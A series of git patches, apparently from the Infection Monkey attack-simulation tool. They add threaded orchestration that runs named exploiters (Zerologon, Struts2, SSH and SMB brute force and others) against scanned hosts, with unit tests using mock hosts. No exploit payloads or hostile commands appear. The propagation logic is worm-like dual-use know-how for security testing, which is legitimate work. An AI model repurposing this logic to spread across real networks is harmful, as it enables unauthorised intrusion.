-87,7 +88,7 @@ class MockIPScanner: def test_scan_result_processing(telemetry_messenger_spy): - p = Propagator(telemetry_messenger_spy, MockIPScanner()) + p = Propagator(telemetry_messenger_spy, MockIPScanner(), VictimHostFactory()) p.propagate( { "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, From 09305bca4c44a46f6d54a2576d2a52eb99f7e229 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 20:04:26 -0500 Subject: [PATCH 0188/1110] Island: Reformat "exploiter" config options before sending to Agent --- monkey/monkey_island/cc/services/config.py | 33 +++++++++++++++++++ .../monkey_configs/flat_config.json | 1 + .../monkey_island/cc/services/test_config.py | 31 ++++++++++++++++- 3 files changed, 64 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 2e587444c..a0af1632c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -475,6 +475,9 @@ class ConfigService: formatted_propagation_config["targets"] = ConfigService._format_targets_from_flat_config( config ) + formatted_propagation_config[ + "exploiters" + ] = ConfigService._format_exploiters_from_flat_config(config) config["propagation"] = formatted_propagation_config @@ -567,3 +570,33 @@ class ConfigService: config.pop(flat_subnet_scan_list_field, None) return formatted_scan_targets_config + + @staticmethod + def _format_exploiters_from_flat_config(config: Dict): + flat_config_exploiter_classes_field = "exploiter_classes" + brute_force_category = "brute_force" + vulnerability_category = "vulnerability" + brute_force_exploiters = { + "MSSQLExploiter", + "PowerShellExploiter", + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + } + + formatted_exploiters_config = {"brute_force": [], "vulnerability": []} + + for exploiter in sorted(config[flat_config_exploiter_classes_field]): + category = ( + brute_force_category + if exploiter in brute_force_exploiters + else vulnerability_category + ) + + formatted_exploiters_config[category].append( + {"name": exploiter, "propagator": (exploiter != "ZerologonExploiter")} + ) + + config.pop(flat_config_exploiter_classes_field, None) + + return formatted_exploiters_config diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 977bed817..2840cbbb5 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -55,6 +55,7 @@ "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", + "ZerologonExploiter", "WebLogicExploiter", "HadoopExploiter", "MSSQLExploiter", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index c5e8226ea..09939b2ed 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -101,8 +101,9 @@ def test_format_config_for_agent__propagation(flat_monkey_config): ConfigService.format_flat_config_for_agent(flat_monkey_config) assert "propagation" in flat_monkey_config - assert "network_scan" in flat_monkey_config["propagation"] assert "targets" in flat_monkey_config["propagation"] + assert "network_scan" in flat_monkey_config["propagation"] + assert "exploiters" in flat_monkey_config["propagation"] def test_format_config_for_agent__propagation_targets(flat_monkey_config): @@ -163,3 +164,31 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): assert "tcp_target_ports" not in flat_monkey_config assert "ping_scan_timeout" not in flat_monkey_config assert "finger_classes" not in flat_monkey_config + + +def test_format_config_for_agent__exploiters(flat_monkey_config): + expected_exploiters_config = { + "brute_force": [ + {"name": "MSSQLExploiter", "propagator": True}, + {"name": "PowerShellExploiter", "propagator": True}, + {"name": "SSHExploiter", "propagator": True}, + {"name": "SmbExploiter", "propagator": True}, + {"name": "WmiExploiter", "propagator": True}, + ], + "vulnerability": [ + {"name": "DrupalExploiter", "propagator": True}, + {"name": "ElasticGroovyExploiter", "propagator": True}, + {"name": "HadoopExploiter", "propagator": True}, + {"name": "ShellShockExploiter", "propagator": True}, + {"name": "Struts2Exploiter", "propagator": True}, + {"name": "WebLogicExploiter", "propagator": True}, + {"name": "ZerologonExploiter", "propagator": False}, + ], + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "propagation" in flat_monkey_config + assert "exploiters" in flat_monkey_config["propagation"] + + assert flat_monkey_config["propagation"]["exploiters"] == expected_exploiters_config + assert "exploiter_classes" not in flat_monkey_config From eb7612d80dafbefdac32c2073dab1566b0de1074 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 08:49:44 -0500 Subject: [PATCH 0189/1110] Agent: Rename result -> success in ExploiterResultData --- monkey/infection_monkey/i_puppet.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 11da6a260..78a0ea83f 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -16,7 +16,7 @@ class UnknownPluginError(Exception): pass -ExploiterResultData = namedtuple("ExploiterResultData", ["result", "info", "attempts"]) +ExploiterResultData = namedtuple("ExploiterResultData", ["success", "info", "attempts"]) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) From 1e02286b2a996d42d62be9a6d62b10c549d40851 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 12:18:50 -0500 Subject: [PATCH 0190/1110] Agent: Add "error_message" to ExploiterResultData --- monkey/infection_monkey/i_puppet.py | 4 +++- monkey/infection_monkey/puppet/mock_puppet.py | 8 ++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 78a0ea83f..e25d20f53 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -16,7 +16,9 @@ class UnknownPluginError(Exception): pass -ExploiterResultData = namedtuple("ExploiterResultData", ["success", "info", "attempts"]) +ExploiterResultData = namedtuple( + "ExploiterResultData", ["success", "info", "attempts", "error_message"] +) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) FingerprintData = namedtuple("FingerprintData", ["os_type", "os_version", "services"]) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 5f0389752..fe21f4cb0 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -280,8 +280,12 @@ class MockPuppet(IPuppet): "executed_cmds": [], } successful_exploiters = { - DOT_1: {"PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts)}, - DOT_3: {"SSHExploiter": ExploiterResultData(False, info_ssh, attempts)}, + DOT_1: { + "PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts, None) + }, + DOT_3: { + "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting") + }, } return successful_exploiters[host][name] From 3394629cb275e6cfa361b7e109a44d41dc2bf54f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 14:22:46 -0500 Subject: [PATCH 0191/1110] Agent: Run exploiters from AutomatedMaster --- monkey/infection_monkey/master/__init__.py | 1 + .../master/automated_master.py | 8 +- monkey/infection_monkey/master/exploiter.py | 107 +++++++++++++++++ monkey/infection_monkey/master/propagator.py | 52 ++++++++- monkey/infection_monkey/puppet/mock_puppet.py | 10 +- .../infection_monkey/master/test_exploiter.py | 102 ++++++++++++++++ .../master/test_propagator.py | 109 ++++++++++++++++-- 7 files changed, 371 insertions(+), 18 deletions(-) create mode 100644 monkey/infection_monkey/master/exploiter.py create mode 100644 monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py index fda536194..98ed6db0b 100644 --- a/monkey/infection_monkey/master/__init__.py +++ b/monkey/infection_monkey/master/__init__.py @@ -1,4 +1,5 @@ from .ip_scan_results import IPScanResults from .ip_scanner import IPScanner +from .exploiter import Exploiter from .propagator import Propagator from .automated_master import AutomatedMaster diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 57b8f52b2..ff6af8b43 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -12,13 +12,14 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem from infection_monkey.utils.timer import Timer -from . import IPScanner, Propagator +from . import Exploiter, IPScanner, Propagator from .threading_utils import create_daemon_thread CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC = 5 CHECK_FOR_TERMINATE_INTERVAL_SEC = CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC / 5 SHUTDOWN_TIMEOUT = 5 NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads +NUM_EXPLOIT_THREADS = 4 # TODO: Adjust this to the optimal number of exploit threads logger = logging.getLogger() @@ -36,7 +37,10 @@ class AutomatedMaster(IMaster): self._control_channel = control_channel ip_scanner = IPScanner(self._puppet, NUM_SCAN_THREADS) - self._propagator = Propagator(self._telemetry_messenger, ip_scanner, victim_host_factory) + exploiter = Exploiter(self._puppet, NUM_EXPLOIT_THREADS) + self._propagator = Propagator( + self._telemetry_messenger, ip_scanner, exploiter, victim_host_factory + ) self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py new file mode 100644 index 000000000..3f732ffa3 --- /dev/null +++ b/monkey/infection_monkey/master/exploiter.py @@ -0,0 +1,107 @@ +import logging +import queue +import threading +from queue import Queue +from threading import Event +from typing import Callable, Dict, List + +from infection_monkey.i_puppet import ExploiterResultData, IPuppet +from infection_monkey.model import VictimHost + +from .threading_utils import create_daemon_thread + +QUEUE_TIMEOUT = 2 + +logger = logging.getLogger() + +ExploiterName = str +Callback = Callable[[VictimHost, ExploiterName, ExploiterResultData], None] + + +class Exploiter: + def __init__(self, puppet: IPuppet, num_workers: int): + self._puppet = puppet + self._num_workers = num_workers + + def exploit_hosts( + self, + exploiter_config: Dict, + hosts_to_exploit: Queue, + results_callback: Callback, + scan_completed: Event, + stop: Event, + ): + # Run vulnerability exploiters before brute force exploiters to minimize the effect of + # account lockout due to invalid credentials + exploiters_to_run = exploiter_config["vulnerability"] + exploiter_config["brute_force"] + logger.debug( + "Agent is configured to run the following exploiters in order: " + f"{','.join([e['name'] for e in exploiters_to_run])}" + ) + + exploit_args = (exploiters_to_run, hosts_to_exploit, results_callback, scan_completed, stop) + + # TODO: This functionality is also used in IPScanner and can be generalized. Extract it. + exploiter_threads = [] + for i in range(0, self._num_workers): + t = create_daemon_thread(target=self._exploit_hosts_on_queue, args=exploit_args) + t.start() + exploiter_threads.append(t) + + for t in exploiter_threads: + t.join() + + def _exploit_hosts_on_queue( + self, + exploiters_to_run: List[Dict], + hosts_to_exploit: Queue, + results_callback: Callback, + scan_completed: Event, + stop: Event, + ): + logger.debug(f"Starting exploiter thread -- Thread ID: {threading.get_ident()}") + + while not stop.is_set(): + try: + victim_host = hosts_to_exploit.get(timeout=QUEUE_TIMEOUT) + self._run_all_exploiters(exploiters_to_run, victim_host, results_callback, stop) + except queue.Empty: + if ( + _all_hosts_have_been_processed(scan_completed, hosts_to_exploit) + or stop.is_set() + ): + break + + logger.debug( + f"Exiting exploiter thread -- Thread ID: {threading.get_ident()} -- " + f"stop.is_set(): {stop.is_set()} -- network_scan_completed: " + f"{scan_completed.is_set()}" + ) + + def _run_all_exploiters( + self, + exploiters_to_run: List[Dict], + victim_host: VictimHost, + results_callback: Callback, + stop: Event, + ): + for exploiter in exploiters_to_run: + if stop.is_set(): + break + + exploiter_name = exploiter["name"] + exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) + results_callback(exploiter_name, victim_host, exploiter_results) + + if exploiter["propagator"] and exploiter_results.success: + break + + def _run_exploiter( + self, exploiter_name: str, victim_host: VictimHost, stop: Event + ) -> ExploiterResultData: + logger.debug(f"Attempting to use {exploiter_name} on {victim_host}") + return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, {}, stop) + + +def _all_hosts_have_been_processed(scan_completed: Event, hosts_to_exploit: Queue): + return scan_completed.is_set() and hosts_to_exploit.empty() diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 78e08a98d..24d5fb8f0 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -3,12 +3,19 @@ from queue import Queue from threading import Event, Thread from typing import Dict -from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus +from infection_monkey.i_puppet import ( + ExploiterResultData, + FingerprintData, + PingScanData, + PortScanData, + PortStatus, +) from infection_monkey.model import VictimHost, VictimHostFactory +from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem -from . import IPScanner, IPScanResults +from . import Exploiter, IPScanner, IPScanResults from .threading_utils import create_daemon_thread logger = logging.getLogger() @@ -19,29 +26,35 @@ class Propagator: self, telemetry_messenger: ITelemetryMessenger, ip_scanner: IPScanner, + exploiter: Exploiter, victim_host_factory: VictimHostFactory, ): self._telemetry_messenger = telemetry_messenger self._ip_scanner = ip_scanner + self._exploiter = exploiter self._victim_host_factory = victim_host_factory self._hosts_to_exploit = None def propagate(self, propagation_config: Dict, stop: Event): logger.info("Attempting to propagate") + network_scan_completed = Event() self._hosts_to_exploit = Queue() scan_thread = create_daemon_thread( target=self._scan_network, args=(propagation_config, stop) ) exploit_thread = create_daemon_thread( - target=self._exploit_targets, args=(scan_thread, stop) + target=self._exploit_hosts, + args=(scan_thread, propagation_config, network_scan_completed, stop), ) scan_thread.start() exploit_thread.start() scan_thread.join() + network_scan_completed.set() + exploit_thread.join() logger.info("Finished attempting to propagate") @@ -101,5 +114,34 @@ class Propagator: for service, details in fd.services.items(): victim_host.services.setdefault(service, {}).update(details) - def _exploit_targets(self, scan_thread: Thread, stop: Event): - pass + def _exploit_hosts( + self, + scan_thread: Thread, + propagation_config: Dict, + network_scan_completed: Event, + stop: Event, + ): + logger.info("Exploiting victims") + + exploiter_config = propagation_config["exploiters"] + self._exploiter.exploit_hosts( + self._hosts_to_exploit, + exploiter_config, + self._process_exploit_attempts, + network_scan_completed, + stop, + ) + + logger.info("Finished exploiting victims") + + def _process_exploit_attempts( + self, exploiter_name: str, host: VictimHost, result: ExploiterResultData + ): + if result.success: + logger.info("Successfully propagated to {host} using {exploiter_name}") + else: + logger.info(result.error_message) + + self._telemetry_messenger.send_telemetry( + ExploitTelem(exploiter_name, host, result.success, result.info, result.attempts) + ) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index fe21f4cb0..64c247170 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -281,10 +281,16 @@ class MockPuppet(IPuppet): } successful_exploiters = { DOT_1: { - "PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts, None) + "PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts, None), + "ZerologonExploiter": ExploiterResultData(False, {}, [], "Zerologon failed"), + "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting"), }, DOT_3: { - "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting") + "PowerShellExploiter": ExploiterResultData( + False, info_powershell, attempts, "PowerShell Exploiter Failed" + ), + "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting"), + "ZerologonExploiter": ExploiterResultData(True, {}, [], None), }, } diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py new file mode 100644 index 000000000..5b9297fe6 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -0,0 +1,102 @@ +import logging +from queue import Queue +from threading import Barrier, Event +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.master import Exploiter +from infection_monkey.model import VictimHost +from infection_monkey.puppet.mock_puppet import MockPuppet + +logger = logging.getLogger() + + +@pytest.fixture(autouse=True) +def patch_queue_timeout(monkeypatch): + monkeypatch.setattr("infection_monkey.master.exploiter.QUEUE_TIMEOUT", 0.001) + + +@pytest.fixture +def scan_completed(): + return Event() + + +@pytest.fixture +def stop(): + return Event() + + +@pytest.fixture +def callback(): + return MagicMock() + + +@pytest.fixture +def exploiter_config(): + return { + "brute_force": [ + {"name": "PowerShellExploiter", "propagator": True}, + {"name": "SSHExploiter", "propagator": True}, + ], + "vulnerability": [ + {"name": "ZerologonExploiter", "propagator": False}, + ], + } + + +@pytest.fixture +def hosts(): + return [VictimHost("10.0.0.1"), VictimHost("10.0.0.3")] + + +@pytest.fixture +def hosts_to_exploit(hosts): + q = Queue() + q.put(hosts[0]) + q.put(hosts[1]) + + return q + + +def test_exploiter(exploiter_config, callback, scan_completed, stop, hosts, hosts_to_exploit): + # Set this so that Exploiter() exits once it has processed all victims + scan_completed.set() + + e = Exploiter(MockPuppet(), 2) + e.exploit_hosts(exploiter_config, hosts_to_exploit, callback, scan_completed, stop) + + assert callback.call_count == 5 + host_exploit_combos = set() + + for i in range(0, 5): + victim_host = callback.call_args_list[i][0][0] + exploiter_name = callback.call_args_list[i][0][1] + host_exploit_combos.add((victim_host, exploiter_name)) + + assert ("ZerologonExploiter", hosts[0]) in host_exploit_combos + assert ("PowerShellExploiter", hosts[0]) in host_exploit_combos + assert ("ZerologonExploiter", hosts[1]) in host_exploit_combos + assert ("PowerShellExploiter", hosts[1]) in host_exploit_combos + assert ("SSHExploiter", hosts[1]) in host_exploit_combos + + +def test_stop_after_callback(exploiter_config, callback, scan_completed, stop, hosts_to_exploit): + callback_barrier_count = 2 + + def _callback(*_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + _callback.barrier.wait() + stop.set() + + _callback.barrier = Barrier(callback_barrier_count) + + stoppable_callback = MagicMock(side_effect=_callback) + + # Intentionally NOT setting scan_completed.set(); _callback() will set stop + + e = Exploiter(MockPuppet(), callback_barrier_count + 2) + e.exploit_hosts(exploiter_config, hosts_to_exploit, stoppable_callback, scan_completed, stop) + + assert stoppable_callback.call_count == 2 diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 941f17a6c..de44f40f4 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -1,12 +1,19 @@ from threading import Event -from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus +from infection_monkey.i_puppet import ( + ExploiterResultData, + FingerprintData, + PingScanData, + PortScanData, + PortStatus, +) from infection_monkey.master import IPScanResults, Propagator from infection_monkey.model import VictimHostFactory +from infection_monkey.telemetry.exploit_telem import ExploitTelem empty_fingerprint_data = FingerprintData(None, None, {}) -dot_1_results = IPScanResults( +dot_1_scan_results = IPScanResults( PingScanData(True, "windows"), { 22: PortScanData(22, PortStatus.CLOSED, None, None), @@ -20,7 +27,7 @@ dot_1_results = IPScanResults( }, ) -dot_3_results = IPScanResults( +dot_3_scan_results = IPScanResults( PingScanData(True, "linux"), { 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), @@ -43,7 +50,7 @@ dot_3_results = IPScanResults( }, ) -dead_host_results = IPScanResults( +dead_host_scan_results = IPScanResults( PingScanData(False, None), { 22: PortScanData(22, PortStatus.CLOSED, None, None), @@ -80,19 +87,27 @@ class MockIPScanner: def scan(self, ips_to_scan, _, results_callback, stop): for ip in ips_to_scan: if ip.endswith(".1"): - results_callback(ip, dot_1_results) + results_callback(ip, dot_1_scan_results) elif ip.endswith(".3"): - results_callback(ip, dot_3_results) + results_callback(ip, dot_3_scan_results) else: - results_callback(ip, dead_host_results) + results_callback(ip, dead_host_scan_results) + + +class StubExploiter: + def exploit_hosts( + self, hosts_to_exploit, exploiter_config, results_callback, scan_completed, stop + ): + pass def test_scan_result_processing(telemetry_messenger_spy): - p = Propagator(telemetry_messenger_spy, MockIPScanner(), VictimHostFactory()) + p = Propagator(telemetry_messenger_spy, MockIPScanner(), StubExploiter(), VictimHostFactory()) p.propagate( { "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, - "network_scan": {}, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since StubExploiter ignores it }, Event(), ) @@ -120,3 +135,79 @@ def test_scan_result_processing(telemetry_messenger_spy): assert data["machine"]["os"] == {} assert data["machine"]["services"] == {} assert data["machine"]["icmp"] is False + + +class MockExploiter: + def exploit_hosts( + self, hosts_to_exploit, exploiter_config, results_callback, scan_completed, stop + ): + hte = [] + for _ in range(0, 2): + hte.append(hosts_to_exploit.get()) + + for host in hte: + if host.ip_addr.endswith(".1"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData(True, {}, {}, None), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(False, {}, {}, "SSH FAILED for .1"), + ) + if host.ip_addr.endswith(".2"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData(False, {}, {}, "POWERSHELL FAILED for .2"), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(False, {}, {}, "SSH FAILED for .2"), + ) + if host.ip_addr.endswith(".3"): + results_callback( + "PowerShellExploiter", + host, + ExploiterResultData(False, {}, {}, "POWERSHELL FAILED for .3"), + ) + results_callback( + "SSHExploiter", + host, + ExploiterResultData(True, {}, {}, None), + ) + + +def test_exploiter_result_processing(telemetry_messenger_spy): + p = Propagator(telemetry_messenger_spy, MockIPScanner(), MockExploiter(), VictimHostFactory()) + p.propagate( + { + "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, + "network_scan": {}, # This is empty since MockIPscanner ignores it + "exploiters": {}, # This is empty since MockExploiter ignores it + }, + Event(), + ) + + exploit_telems = [t for t in telemetry_messenger_spy.telemetries if isinstance(t, ExploitTelem)] + assert len(exploit_telems) == 4 + + for t in exploit_telems: + data = t.get_data() + ip = data["machine"]["ip_addr"] + + assert ip.endswith(".1") or ip.endswith(".3") + + if ip.endswith(".1"): + if data["exploiter"].startswith("PowerShell"): + assert data["result"] + else: + assert not data["result"] + elif ip.endswith(".3"): + if data["exploiter"].startswith("PowerShell"): + assert not data["result"] + else: + assert data["result"] From bda192eba98dd298cb54fef19ec8d434d7a4b1b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 15:18:50 -0500 Subject: [PATCH 0192/1110] Agent: Extract run_worker_threads() from IPScanner and Exploiter --- monkey/infection_monkey/master/exploiter.py | 15 ++++----------- monkey/infection_monkey/master/ip_scanner.py | 11 ++--------- monkey/infection_monkey/master/threading_utils.py | 11 +++++++++++ 3 files changed, 17 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 3f732ffa3..0dfc8869f 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -8,7 +8,7 @@ from typing import Callable, Dict, List from infection_monkey.i_puppet import ExploiterResultData, IPuppet from infection_monkey.model import VictimHost -from .threading_utils import create_daemon_thread +from .threading_utils import run_worker_threads QUEUE_TIMEOUT = 2 @@ -40,16 +40,9 @@ class Exploiter: ) exploit_args = (exploiters_to_run, hosts_to_exploit, results_callback, scan_completed, stop) - - # TODO: This functionality is also used in IPScanner and can be generalized. Extract it. - exploiter_threads = [] - for i in range(0, self._num_workers): - t = create_daemon_thread(target=self._exploit_hosts_on_queue, args=exploit_args) - t.start() - exploiter_threads.append(t) - - for t in exploiter_threads: - t.join() + run_worker_threads( + target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers + ) def _exploit_hosts_on_queue( self, diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 450ff3006..9e5851e7b 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -14,7 +14,7 @@ from infection_monkey.i_puppet import ( ) from . import IPScanResults -from .threading_utils import create_daemon_thread +from .threading_utils import run_worker_threads logger = logging.getLogger() @@ -35,14 +35,7 @@ class IPScanner: ips.put(ip) scan_ips_args = (ips, options, results_callback, stop) - scan_threads = [] - for i in range(0, self._num_workers): - t = create_daemon_thread(target=self._scan_ips, args=scan_ips_args) - t.start() - scan_threads.append(t) - - for t in scan_threads: - t.join() + run_worker_threads(target=self._scan_ips, args=scan_ips_args, num_workers=self._num_workers) def _scan_ips(self, ips: Queue, options: Dict, results_callback: Callback, stop: Event): logger.debug(f"Starting scan thread -- Thread ID: {threading.get_ident()}") diff --git a/monkey/infection_monkey/master/threading_utils.py b/monkey/infection_monkey/master/threading_utils.py index 56cf4a459..dbcc67984 100644 --- a/monkey/infection_monkey/master/threading_utils.py +++ b/monkey/infection_monkey/master/threading_utils.py @@ -2,5 +2,16 @@ from threading import Thread from typing import Callable, Tuple +def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_workers: int = 2): + worker_threads = [] + for i in range(0, num_workers): + t = create_daemon_thread(target=target, args=args) + t.start() + worker_threads.append(t) + + for t in worker_threads: + t.join() + + def create_daemon_thread(target: Callable[..., None], args: Tuple = ()): return Thread(target=target, args=args, daemon=True) From b466a17f7690350532f0fd5f3af4721f5955f980 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 15:29:43 -0500 Subject: [PATCH 0193/1110] Agent: Remove scan_thread from Propagator._exploit_hosts() arguments --- monkey/infection_monkey/master/propagator.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 24d5fb8f0..0b42d345b 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -1,6 +1,6 @@ import logging from queue import Queue -from threading import Event, Thread +from threading import Event from typing import Dict from infection_monkey.i_puppet import ( @@ -46,7 +46,7 @@ class Propagator: ) exploit_thread = create_daemon_thread( target=self._exploit_hosts, - args=(scan_thread, propagation_config, network_scan_completed, stop), + args=(propagation_config, network_scan_completed, stop), ) scan_thread.start() @@ -116,7 +116,6 @@ class Propagator: def _exploit_hosts( self, - scan_thread: Thread, propagation_config: Dict, network_scan_completed: Event, stop: Event, From da61451947c73a01a05edc7a0fc6c30021a6da9d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 15:30:18 -0500 Subject: [PATCH 0194/1110] Agent: Fix order of arguments to Exploiter.exploit_hosts() --- monkey/infection_monkey/master/propagator.py | 2 +- .../tests/unit_tests/infection_monkey/master/test_propagator.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 0b42d345b..33fc826ea 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -124,8 +124,8 @@ class Propagator: exploiter_config = propagation_config["exploiters"] self._exploiter.exploit_hosts( - self._hosts_to_exploit, exploiter_config, + self._hosts_to_exploit, self._process_exploit_attempts, network_scan_completed, stop, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index de44f40f4..4dffdf7e8 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -139,7 +139,7 @@ def test_scan_result_processing(telemetry_messenger_spy): class MockExploiter: def exploit_hosts( - self, hosts_to_exploit, exploiter_config, results_callback, scan_completed, stop + self, exploiter_config, hosts_to_exploit, results_callback, scan_completed, stop ): hte = [] for _ in range(0, 2): From 6c1caa1af4a3a7e4296050f2c77eae9f6d601eea Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 15:31:34 -0500 Subject: [PATCH 0195/1110] Agent: Improve log message for failed propagation --- monkey/infection_monkey/master/propagator.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 33fc826ea..ef3bf92ea 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -139,7 +139,9 @@ class Propagator: if result.success: logger.info("Successfully propagated to {host} using {exploiter_name}") else: - logger.info(result.error_message) + logger.info( + f"Failed to propagate to {host} using {exploiter_name}: {result.error_message}" + ) self._telemetry_messenger.send_telemetry( ExploitTelem(exploiter_name, host, result.success, result.info, result.attempts) From 4b3984dbd72d26c6d34ff653f35c8f076f8174ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 15:32:10 -0500 Subject: [PATCH 0196/1110] Agent: Add default return value in MockPuppet.exploit_host() --- monkey/infection_monkey/puppet/mock_puppet.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git 